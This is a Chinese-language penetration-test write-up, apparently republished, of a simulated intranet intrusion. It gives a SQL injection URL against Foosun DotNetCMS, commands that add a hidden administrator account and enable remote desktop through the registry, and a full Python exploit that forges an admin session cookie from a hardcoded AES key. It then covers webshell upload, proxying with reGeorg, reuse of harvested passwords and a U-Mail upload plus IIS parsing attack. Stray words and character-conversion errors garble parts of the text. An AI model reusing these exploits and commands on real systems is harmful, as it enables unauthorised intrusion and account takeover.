記錄一次【模仿真實環境】的內網漫遊

 

 

 

一階段、php

信息收集html

經過NMAP進行端口掃描 發現網站開放了80,443,700,8080端口python

80端口下存在web服務 :Foosun DotNetCMS 2.0  網站爲IIS搭建的aspx站  服務器操做系統爲win2008web

8080端口下存在路由登陸界面ajax

 

2、web滲透、sql

瀏覽網站發現網站使用了FoosunCMSshell

 

尋找相關漏洞瀏覽器

www.text.com/user/City_ajax.aspx?CityId=1服務器

處存在sql注入cookie

 

 

http://192.168.31.55/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,U

serNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin

 

 

Table: fs_sys_admin

 

[1 entry]

 

+--------------+

 

| UserNum      |

 

+--------------+

 

| 327142054961 |

 

+--------------+

 

這裏只跑出來了一個uerrnumber沒有咱們想要的後臺帳號和密碼

可是發現這個注入又寫入權限

不過   並不知道絕對路徑

而後咱們利用--os-shell發現交互了一個shell而且是系統權限

 

開啓3389 並創建一個用戶成功了

而且咱們得到權限的主機IP爲192.168.1.123

網關爲192.168.1.1

 

 

 

 

net user szg 123456 /add & net localgroup administrators szg /add

 

 

 

 

 

 

 

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

 

 

 

 

 

 

 

 接下來咱們利用網上爆出的漏洞利用該usernum生成一個cookie

腳本以下:

#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword: ##
##inurl:/manage/Login.aspx ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()
def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#寫入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()
def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return None
def pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_text
def generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"

 ###這裏python運行該腳本須要加載一個模塊忘了叫啥了提示的時候百度一下那個名字而後 pip  install  

接下來利用谷歌瀏覽器的

EditThisCookie插件利用該cookie登錄後臺

成功登錄到後臺

 

 

 

上傳一句話以後發現連接上了一句話顯示200卻沒有回顯

 

可是利用reGeorg掛了個代理成功了

 

 

這時候咱們拿到了代理權限而且添加了管理員帳戶(這裏具體請看個人另外一篇文章https://www.cnblogs.com/xiaoyunxiaogang/p/10939485.html)

這時候就能夠鏈接3389了

在遠程鏈接的主機192.168.1.123中

翻到了管理員記錄的密碼

 

 

接下來利用得到的密碼試着登錄8080端口一下發現限制了IP

利用代理繼續登錄

 

 掛代理以後成功登錄

 

3、內網漫遊、

 

這裏咱們在路由中發現了另外一個網段

 

 

若是沒有進行Vlan的劃分那麼咱們的192.168.1.123就能夠ping通172.19.23.123

接下來掃描端口並訪問172.19.23.123下的網站

 

 

 

利用以前3389鏈接遠程珠桌面得到的密碼進行登錄

 

 

一樣利用u-mail的漏洞進行滲透

該漏洞的上傳路徑爲http://172.19.23.123/webmail/client/cache/userid/重命名序號

 

 

http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk

 

構造上傳頁面調用上傳接口

 

 

 

 

 利用iis的解析漏洞+/1.php訪問(????不是ngix解析漏洞嗎??  不 !IIS也能夠)

http://172.19.23.123/webmail/client/cache/3/15598087978.jpg/1.php

 

 

相關文章
相關標籤/搜索